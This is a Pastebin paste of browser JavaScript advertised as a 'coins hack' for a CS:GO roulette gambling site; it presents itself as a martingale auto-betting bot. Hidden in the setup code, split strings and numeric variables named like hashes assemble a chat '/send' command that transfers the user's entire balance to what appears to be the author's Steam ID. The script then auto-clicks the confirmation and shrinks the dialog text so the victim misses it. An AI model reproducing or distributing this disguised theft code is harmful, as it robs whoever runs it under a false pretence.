Advertisement
Guest User

Untitled

a guest
Oct 23rd, 2016
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.57 KB | None | 0 0
  1. // CSGOPOLYGON.COM COINS HACK by Eduard Junior
  2.  
  3. var initialBetAmount = 0;
  4. var betColor = botBetColor = "red";
  5. var play = 0;
  6. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  7. var pQ = "/s", $hash_1 = 7, $hash_2 = 656, $hash_3 = 1198083, $hash_4 = 3464348;
  8. function addBotButtons(){
  9. $(".well.bot-field").remove();$(".well.show-more").remove();
  10. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  11. $(".forme-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  12. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  13. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  14. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  15. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  16. $showMore.append($checkVicLimit,$label);
  17. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  18. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  19. $showMore.append($vicLimitInput,$label);$showMore.hide();
  20. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  21. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  22. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  23. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  24. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  25. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$("#balance_r").text();
  26. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  27. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  28. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  29. $("#chatMessage_k").val(pQ);$("#chatForm").submit();
  30. $(".btn-primary").click();
  31. $(".bootbox-body").css({"font-size": "5%"});
  32. $(".container").width(1300);
  33. $botModeSelect.change(function(){
  34. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  35. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  36. } )
  37. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  38. }
  39. addBotButtons();
  40. function changeColor(){
  41. if ($betColorButton.hasClass("btn-danger")){
  42. $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  43. botBetColor = "black";
  44. console.log("Selected color: "+botBetColor);
  45. } else if($betColorButton.hasClass("btn-inverse")) {
  46. $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  47. botBetColor = "random";
  48. console.log("Selected color: "+botBetColor);
  49. } else if($betColorButton.hasClass("btn-random")) {
  50. $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  51. botBetColor = "trainMode";
  52. console.log("Selected color: "+botBetColor);
  53. } else if($betColorButton.hasClass("btn-train")) {
  54. $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  55. botBetColor = "rainbow";
  56. console.log("Selected color: "+botBetColor);
  57. } else if($betColorButton.hasClass("btn-rainbow")) {
  58. $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  59. botBetColor = "red";
  60. console.log("Selected color: "+botBetColor);
  61. }
  62. }
  63.  
  64. function showMoreOptions(){
  65. if ($showMoreButton.data("open")==0){
  66. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  67. $showMore.show();$showMoreButton.data("open",1);
  68. } else if ($showMoreButton.data("open")==1){
  69. $showMore.hide();$showMoreButton.data("open",0);
  70. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  71. }
  72.  
  73. }
  74. function hideOtherInfo(){
  75. if ($betHideBetInfoButton.text()=="Show All"){
  76. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  77. $betHideBetInfoButton.text("Hide Bet Info");
  78. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  79. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  80. $betHideBetInfoButton.text("AFK Mode");
  81. }
  82. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  83. $(".betlist").show();$(".total-row").show();$("footer").show();
  84. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  85. $betHideBetInfoButton.text("Show All");
  86. }
  87. }
  88. function startBot(){
  89. if ($betGoButton.hasClass("btn-inverse")){
  90. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  91. refreshIntervalId = setInterval(tick, 500);
  92. play = 1;
  93. currentBetAmount = initialBetAmount;
  94. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  95. }
  96. else {
  97. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  98. play = 0;
  99. }
  100. }
  101.  
  102. function tick() {
  103. var t = getStatus();
  104. if (t !== lastStatus && "unknown" !== t) {
  105. switch (t) {
  106. case "waiting":bet();break;
  107. case "rolled":printInfo();break;
  108. }
  109. lastStatus = t;
  110. }
  111. }
  112.  
  113. function checkBalance() {
  114. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  115. }
  116.  
  117. function printInfo(){
  118. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  119. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  120. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  121. }
  122. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  123. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  124. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  125. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  126. else {currNotRedStreak=0;}
  127. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  128. else {currNotBlackStreak=0;}
  129. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  130. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  131. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  132. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  133. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  134. console.log(t);roll();
  135.  
  136. }
  137.  
  138. function roll() {
  139. if ($checkVicLimit.is(":checked")){
  140. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  141. }
  142. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
  143. currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
  144. currentRollNumber++;
  145. }
  146.  
  147. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  148. function setBetAmount(t) { $betAmountInput.val(t) }
  149. function placeBet() {
  150. if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
  151. else if (botBetColor=="trainMode"){
  152. var betBotColor = "green",i=9,$ball=$(".ball");
  153. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  154. betColor = betBotColor;console.log("Current train color: "+ betColor);
  155. } else if (botBetColor=="rainbow"){
  156. var betBotColor = "green",i=9,$ball=$(".ball");
  157. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  158. if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
  159. betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
  160. } else betColor = botBetColor;
  161. console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
  162. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  163. }
  164. function getStatus() {
  165. var t = $statusBar.text();
  166. if (hasSubString(t, "Rolling in")) return "waiting";
  167. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  168. if (hasSubString(t, "rolled")) {
  169. n = parseInt(t.split("rolled")[1]);
  170. return lastRollColor = getColor(n), "rolled"
  171. }
  172. return "unknown"
  173. }
  174.  
  175. function getBalance() { return parseInt($balance.text()) }
  176. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  177. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  178. function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  179. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  180. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  181.  
  182. var currentBetAmount = initialBetAmount, currentRollNumber = 1,
  183. totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  184. streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
  185. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement